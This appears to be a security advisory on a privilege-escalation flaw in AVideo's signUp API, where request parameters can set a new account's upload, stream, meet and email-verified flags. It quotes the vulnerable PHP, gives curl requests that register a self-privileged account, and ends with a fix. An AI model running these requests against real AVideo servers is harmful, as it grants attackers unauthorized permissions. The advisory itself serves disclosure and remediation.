AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions

// plugin/API/API.php:4222-4232
if ($obj->APISecret !== @$_REQUEST['APISecret']) {
    if(empty($_REQUEST['captcha'])){
        return new ApiObject("Captcha is required");
    }
    require_once $global['systemRootPath'] . 'objects/captcha.php';
    $valid = Captcha::validation($_REQUEST['captcha']);
    if(!$valid){
        return new ApiObject("Captcha is wrong, reload it and try again");
    }
}

// plugin/API/API.php:4238-4249
if (isset($_REQUEST['emailVerified'])) {
    $global['emailVerified'] = intval($_REQUEST['emailVerified']);
}
if (isset($_REQUEST['canCreateMeet'])) {
    $global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
}
if (isset($_REQUEST['canStream'])) {
    $global['canStream'] = intval($_REQUEST['canStream']);
}
if (isset($_REQUEST['canUpload'])) {
    $global['canUpload'] = intval($_REQUEST['canUpload']);
}

// objects/user.php:829-840
if (isset($global['emailVerified'])) {
    $this->emailVerified = $global['emailVerified'];
}
if (isset($global['canCreateMeet'])) {
    $this->canCreateMeet = $global['canCreateMeet'];
}
if (isset($global['canStream'])) {
    $this->canStream = $global['canStream'];
}
if (isset($global['canUpload'])) {
    $this->canUpload = $global['canUpload'];
}

# Step 1: Get a CAPTCHA token
# (Navigate to the signup page in a browser, solve the CAPTCHA, capture the token)

# Step 2: Register with elevated privileges
curl -X POST 'https://target/plugin/API/set.json.php' \
  -d 'APIName=signUp' \
  -d 'user=attacker' \
  -d 'pass=Password123!' \
  -d 'email=attacker@example.com' \
  -d 'name=Attacker' \
  -d 'captcha=VALID_CAPTCHA_TOKEN' \
  -d 'emailVerified=1' \
  -d 'canUpload=1' \
  -d 'canStream=1' \
  -d 'canCreateMeet=1'

# Expected: Account created with default (restricted) permissions
# Actual: Account created with upload, stream, and meet permissions enabled,
#         plus email marked as verified

# Step 3: Verify elevated permissions by logging in and checking profile
curl -X POST 'https://target/plugin/API/set.json.php' \
  -d 'APIName=signIn' \
  -d 'user=attacker' \
  -d 'pass=Password123!'
# Response will show canUpload=1, canStream=1, canCreateMeet=1, emailVerified=1

// plugin/API/API.php — replace lines 4238-4249 with:
if (self::isAPISecretValid()) {
    if (isset($_REQUEST['emailVerified'])) {
        $global['emailVerified'] = intval($_REQUEST['emailVerified']);
    }
    if (isset($_REQUEST['canCreateMeet'])) {
        $global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
    }
    if (isset($_REQUEST['canStream'])) {
        $global['canStream'] = intval($_REQUEST['canStream']);
    }
    if (isset($_REQUEST['canUpload'])) {
        $global['canUpload'] = intval($_REQUEST['canUpload']);
    }
}